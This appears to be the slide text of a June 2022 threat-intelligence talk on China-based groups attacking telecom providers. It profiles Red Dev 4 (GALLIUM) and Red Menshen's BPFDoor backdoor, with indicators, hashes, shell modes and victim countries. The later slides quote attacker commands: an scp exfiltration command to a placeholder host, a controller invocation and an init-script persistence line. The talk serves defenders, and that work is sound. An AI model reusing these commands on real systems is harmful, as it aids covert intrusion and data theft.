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China’s Threat to the 
Telecoms Sector1
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• Not a new topic - China-based actors 
targeting telecoms has been newsworthy for 
years

• Wide variety of CN actors targeting the sector, 
for a wide variety of reasons

• Significant crossover with actors targeting 
dissident communities

• MESSAGETAP: targeting SMSCs to collect 
on targets of interest

• Our scans for shared CN APT malware such 
as Winnti, Derusbi, ShadowPad etc, shows 
telecoms sector as the most pronounced 
victim by far

Telcos as Targets

4



Tinker Telco Soldier Spy
PwC

June 2022
 5 

China’s telco tinkering

Countries
28
AE, AF, AR, 
CO, HK, ID,
IN, IR, JP, 
KG, KH, KR, 
KZ, LK, MM, 
MY, NP, PK, 
QA, SG, SL, 
TH, TR, TW, 
UK, UZ, VN, 
ZA
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Telecoms Targeting: What’s the point?

• Any given target probably uses telecoms services

• This creates unique opportunities for downstream targeting
– Telecoms metadata
– Subscriber data
– Access to core routing

• Exceptionally valuable to intelligence-motivated threat actors

• Downstream targeting means that:
– Telecoms security isn’t just about protecting the corporate 

network…
– It’s about protecting customers

6



Tinker Telco Soldier Spy
PwC

June 2022
 7 

Red Dev 4 
a.k.a GALLIUM2
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Red Dev 4 - Background

China-based threat actor

Aliases:
○ GALLIUM

Victim

CapabilityInfrastructure

Adversary

HK, TW, CN based
Dynamic DNS domains

BlackMould     Poison Ivy
SoftEther VPN    Gh0st RAT
China Chopper
Off-the-shelf tools

Global Telecommunications
Global Government orgs

Red Dev 4
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Red Dev 4 - (h)Initial Pivots

● Feb 2022 investigation - starting with hinitial[.]com

● Infrastructure and malware unravels…

t1.hinitial[.]com

v1.hinitial[.]com

v2.hinitial[.]com

v3.hinitial[.]com

v4.hinitial[.]com

v5.hinitial[.]com

asea.hinitial[.]com
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Hostname and reference to an 
African telecommunications 

provider

Red Dev 4 - SoftEther ● Submitted to VT
● Contains SoftEther VPN configuration 

file and server logs…
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Link to Southeast Asian telecommunications provider

Red Dev 4 - RAR file

The rar file contains a 64-bit executable:

SHA256 
de14f22c88e552b61c62ab28d27a617fb8c0737350ca7c631de5680850282761
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Red Dev 4 - Associated malware

In rar file ● Iph1psvc
● IP He1per
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Red Dev 4 - Ma1ware Variants

HTTPS Variant
ICMP Variant

TCP Variant

June 2021 - April 2022

Creation Date

Crafted C2 string:
PROJECT_<payload_filename>_<comuter_name>_<hex_representation_of_IP_address> 
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Red Dev 4 - Chop and Change

Multi-functionality:
● Upload/Download/Delete files
● Enumerate local drives
● Initiate shell session

Parameters:
● z0
● z1
● z2

China Chopper?
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Red Dev 4 - Infrastructure

● SoftEther VPN Server banner or default ports open
● IP addresses which host or have hosted a hinitial[.]com domain are listed below: 

Shift to GHOST 
infrastructure

GALLIUM domains reported to be 
hosted on Hong Kong and 

Taiwan-based infrastructure
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Red Dev 4 - Upstream infrastructure

  UDP/40000
(40000-44999)

SoftEther VPN Server

SHA-1 279e4d2248f53d3f8c6b4db41634e64e1787f58b

Serial No. 0

Subject DN CN=bbb

Issuer DN CN=bbb

Issued 2018-11-27

Expires 2028-11-24

This certificate looks familiar…

SoftEther Client

● Reconnaissance 
● Browsing
● Exploitation

Default
TCP/443
TCP/992
TCP/5555
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95.85.67[.]219
Hosted

Red Dev 4 - Certified Nuisance

SHA-1 76efd8ef3f64059820d937fa87acf9369775ecd5

Serial No. 0

Subject DN CN=bbb

Issuer DN CN=bbb

Issued 2020-09-03

Expires 2030-09-01

t1.hinitial[.]com
v3.hinitial[.]com

Served by
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Red Dev 4 - Actor operations

Red Dev 4 VPN Client

CN=bbb x509 Cert

Victim Networks

SoftEther Server/C2

Virtual Hub 1

Virtual Hub 2
Recon Browsing Exploitation
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Red Dev 4 - Victimology 

Suspected victim countries:
● Afghanistan
● Argentina
● Austria
● Cambodia
● Colombia
● Egypt
● Hong Kong
● Italy
● Nepal
● Sierra Leone
● South Africa
● Sri Lanka
● Turkey
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Red Dev 4 - Geopolitical Timeline

2021

China and Sierra Leone agree 
fishing harbour deal

Feb 2022
We begin to track 
infrastructure and 
observe the suspected 
compromise of multiple 
Sierra Leone 
telecommunication 
providers 

March 2022
We observe the 
suspected compromise 
of multiple Argentina 
telecommunications 
providers

May 2022
A Colombian mobile 
telecommunications 
company elicits 
victim-like behaviour

Argentina joins China’s Belt 
and Road Initiative

Nepal faces geopolitical pressure 
over US grant

March 2022
We observe the 
suspected compromise 
of a Nepalese 
telecommunications 
provider April 2022

Sri Lankan 
telecommunication
s provider beacons 
to a Red Dev 4 C2

Presidential election in Colombia 
takes place with China making 
recent additions to the Belt and 
Road Initiative from Latin 
American countries

China begins discussions with Sri 
lanka on refinancing debt

Turkey’s president voices 
concerns over Sweden and 
Finland’s NATO membership

June 2022
Turkish telecommunications 
provider communicates with 
Red Dev 4 IP

20
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Red Menshen
a.k.a. DecisiveArchitect 3
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Origin
We assess that Red 
Menshen is almost certainly 
a China-based threat actor. 
This is based on:

• UTC+8 time zone
• Choices of tooling
• Other technical 

indicators

Targeting - Sectoral
Red Menshen typically 
targets the following 
sectors:

• Government
• Education
• Logistics
• Telecoms

Targeting - Regional
Red Menshen has 
targeted:

• Asia 
• Middle East
• USA

Tooling
Red Menshen has used 
the following tools:

• BPFDoor
• ReGeorg
• Mangzamel
• Custom and 

off-the-shelf 
Windows tools

• Metasploit

Red Menshen
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BPFDoor - Execution Flow

[ -f /etc/sysconfig/rpcbind.conf 
] && /etc/sysconfig/rpcbind.conf

Execution
Execution achieved via 
modified init script

Copy and Exit
BPFDoor copies itself to 
/dev/shm, executes the 
copy, then exits

Initialisation
Check / Create lock file
Process renaming
Delete copied file

Networking Layer
Open socket
Bind BPF Filter to socket
Await marked traffic

Backdoor activation 
Red Menshen uses a controller 
binary to activate BPFDoor

Actions
Root shell
Type based on password



PwC
Tinker Telco Soldier Spy June 2022

• BPFDoor opens a SOCK_RAW or AF_PACKET socket and attaches a BPF filter
• This looks for marked traffic

• Other versions support marker {39 39 39 39} at specific offsets – used as HTTP POSTs

• Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.5389.90 Safari/537.36

BPFDoor - Spotlight on Networking

{72 55 … } (UDP/ICMP)

{52 93 … } (TCP)

Red Menshen Victim

POST /aaaaaaaaaaaaaaaaaaaa9999 

Red Menshen Victim

POST /UploadFile.aspx?id=099990 
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Reverse Shell
● Password begins “s”
● Connect back to 

specified IP and port
● Shell over an 

encrypted channel
● RC4 or TLS

BPFDoor Networking 2 - Functions Exposed

Redirected bind shell
● Password begins “j”
● Bind a high port
● Use IPTables to 

redirect traffic to this 
port

● Encrypted channel

ICMP Shell
● Password begins “i”
● Seen in rarer variants
● Shell traffic in 

plaintext
● ICMP traffic has 

distinct markers – 
e.g. ID 1234

Monitor Packet
● Password 

unrecognised
● Send UDP “1” to IP 

and port
● Check for presence 

of BPFDoor
● Phased out in late 

2021
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BPFDoor Victimology
Detected by monitor packet scans

June 2022Tinker Telco Soldier Spy
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Countries
15
● Afghanistan
● Cambodia
● China
● Hong Kong
● India
● Kyrgyzstan
● Macau
● Malaysia
● Myanmar
● Serbia
● South Korea
● Taiwan
● Turkey
● USA
● Vietnam
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• Lateral Movement with BPFDoor
– Deploy a controller binary to an internet-facing victim
– Use this to activate multiple internal BPFDoor victims
– Move through victim network

Red Menshen on Network

Red 
Menshen Relay hosts VPSs Internet-facing

victim

Internal system

Internal system

Internal system

27
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• Data Exfiltration over SCP
– scp -o UserKnownHostsFile=/dev/null -i ./id -P 443 [file] sss@[host]:/home/sss

• Controller invocation
– ./lv -h [internal IP] -d 80 -s 80 -i

• Deployment of webshells - e.g. ReGeorg
– ReGeorg deployed to internet-facing systems
– Access to hosts later infected with BPFDoor

• Windows environments
– Seen in early stage intrusions
– Primary implant: Mangzamel

• Open-sourced CN malware
• Samples byte-identical other than C2 config
• C2s on AS55933

– Custom and off-the-shelf network enumeration tools

Red Menshen on Network

28
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• We’ve seen Red Menshen deploy additional tools into Linux hosts
– Often staged into /dev/shm

• One victim uploaded the following, minutes apart:
– s - Python-based scanning tool

• Simple port scanner with NetBIOS and HTTP scan capabilities
– 775542828242e64e8b61f136262c289ef002bb0ae15baf510f257cbd40936014

– v - Struts2 CVE-2017-5638 Exploit
• 7d7d72f720f1fc64e9de62e9b316b929f0087b970ec38893540d7e5c2be9dbf5

• Contains an IP related to a HK University

– pnew.exe
• c01ca5ceaaafbb6513926c0c2f95e03a9ddaa312adb6671c8c2b1413755cbc1a

• Windows PrintSpoofer LPE tool

Red Menshen - Additional Linux Tools

29



PwC
Tinker Telco Soldier Spy June 2022

• DigitalOcean VPSs used to access multiple victims
• When the VPSs we identified were active, they also received SSH traffic from residential networks in 

Taiwan
– AS3462, which accounted for 95% of the 750+ host relay network.

• Very strong overlap between patterns of victim -> C2 traffic, and router -> C2 traffic

• In short:
– Residential network used to control C2 via SSH
– C2 used to control victim

Infrastructure: Part 2 – Upstream
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• Most of the devices we found used as ORBs were SAPIDO routers
• Vulnerable to a very simple RCE
• Expose a VPN server

– PPTP
– L2TP

• Dynamic DNS domains – to address DHCP churn
– Initially “keyboard smashing”

• asdgfh234[.]dynamic-dns[.]net
• djfhgkdfg[.]organiccrap[.]com
• mpsksdvgsf[.]yourtrap[.]com

– More recently:
• accounts01[.]ddns[.]ms
• whoami[.]dsmtp[.]com
• ntp[.]itemdb[.]com
• vv3[.]instanthq[.]com

Infrastructure - A Route to Compromise
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• Heatmap SSH traffic from TW → VPS
• What patterns can we see?

– Active mostly on Monday-Friday
– Activity starts around 0100 UTC
– Drop in activity around 0400 

UTC
– Activity continues until around 

1000 UTC
• …  or, in UTC+8:

– Activity starts around 0900
– Drops off around 1200
– Ends around 1800

• Likely observes PRC public holidays
– Offline on Oct 1 – National Day
– Offline on Feb 1 – Lunar New 

Year

Pattern of Life Analysis

32
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• We have tracked and reported on Red Menshen for ~18 
months

• Notified victims where we could positively identify and 
reach them

• On 5th May, a researcher publicly tweeted a hash which 
we attributed to Red Menshen

– 93f4262fce8c6b4f8e239c35a0679fbbbb722141b95a5f2af53a2bcafe4edd1c

• This prompted a cascade of coverage on the threat actor

• We observed Red Menshen’s response with interest

• For their part, Red Menshen:
– Connected to their existing VPS around 9:20AM;
– Accessed a telecommunications victim; and,
– Logged off around 6:30PM.
– In other words: Business as usual.

Public Disclosure
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Conclusions 4
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Conclusions

• China-based threat actors will continue to target telecoms
– Especially in regions of strategic interest

• TTPs vary widely even amongst actors of the same origin

• Telcos have substantial amounts of legacy and opaque tech
– Challenge for security industry; visibility is often lacking

• But…
– Knowledge of the threats is growing
– Industry is getting better at discovering and tracking
– Threat actors make mistakes
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